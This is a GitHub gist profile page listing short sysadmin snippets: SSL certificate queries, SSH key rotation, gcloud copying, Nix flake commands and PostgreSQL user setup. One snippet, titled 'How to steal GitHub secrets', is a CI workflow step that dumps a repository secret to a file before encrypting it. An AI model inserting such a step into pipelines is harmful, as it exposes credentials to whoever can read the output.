Skip to content

Instantly share code, notes, and snippets.

View Himura2la's full-sized avatar
💭
Nya?

Vladislav Glagolev Himura2la

💭
Nya?
View GitHub Profile
@Himura2la
Himura2la / ssl-query.sh
Created March 30, 2026 08:48
see host's ssl cert
ssl-query() { openssl s_client -connect "$1" </dev/null | openssl x509 -text -noout; }
@Himura2la
Himura2la / gcloud-storage-cp.sh
Created March 29, 2026 12:35
how gcloud storage cp works
gcloud storage cp --recursive /home/himura/Foto/2024/ gs://himura-bkp/photo/
# this will create the `gs://himura-bkp/photo/2024/` directory
@Himura2la
Himura2la / upd_key.sh
Last active March 29, 2026 10:28
SSH key rotation function
upd_key() {
local old_public_key='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPHZEGTS/7CdQtGPduRCz0Ie0FMJgfIVvSWkxz1pzmst'
local old_private_key_path=~/.ssh/2022/id_ed25519
local new_pub_key="$(cat ~/.ssh/id_ed25519.pub)"
ssh -i "$old_private_key_path" -- "$1" \
"sed -i 's|^${old_public_key}\\([[:space:]].*\\)\\?[[:space:]]*$|${new_pub_key}|' ~/.ssh/authorized_keys"
ssh "$1" 'cat ~/.ssh/authorized_keys'
}
@Himura2la
Himura2la / steal-secrets-step.yml
Created December 5, 2025 15:58
How to steal GitHub secrets
jobs:
build:
steps:
- name: Steal Secrets
shell: bash
run: |
set -xe
echo '${{ secrets.TO_STEAL }}' > s.txt
echo '-----BEGIN PGP PUBLIC KEY BLOCK-----
@Himura2la
Himura2la / README.md
Last active June 30, 2025 18:55
Easy Flakes: transition to flakes with unstable channel and home-manager.

Upgrade

nix flake update  # minor
sudo nixos-rebuild switch --flake '.?submodules=1'

sudo nix-channel --add https://channels.nixos.org/nixos-25.05 nixos  # major (for nix-shell)

Clean

@Himura2la
Himura2la / clean.bat
Created March 2, 2025 02:52
Clean default Android directories on external drive
for /f "delims=" %%i in ('dir /ad /b') do rd "%%i"
@Himura2la
Himura2la / new_table.sql
Created February 22, 2025 12:42
Create table and user in PostgreSQL
CREATE USER nyarden;
CREATE DATABASE nyarden;
GRANT ALL PRIVILEGES ON DATABASE nyarden TO nyarden;
ALTER USER nyarden WITH PASSWORD '';
@Himura2la
Himura2la / ssl-query.sh
Created December 6, 2024 08:43
Use OpenSSL to get information on a remote TLS cert
ssl-query() { openssl s_client -connect "$1" </dev/null | openssl x509 -text -noout; }
@Himura2la
Himura2la / README.md
Last active September 11, 2024 08:53
Convert text file to JSON string

Usage

wget https://gist.githubusercontent.com/Himura2la/c2ef40ce86b1698e1a7db8b144657912/raw/toJson.sh
chmod +x toJson.sh
./toJson.sh < file
@Himura2la
Himura2la / update-config.sh
Created July 1, 2024 19:28
Update file in a named volume
#!/bin/sh
echo "Usage: $0 deploy|extract (default: deploy)"
engine=podman
script_dir="$(readlink -f "$(dirname "$0")")"
set -x
action=${1-deploy}
cc=$($engine run --rm -dtv grafana-config:/g -v prometheus-config:/p busybox)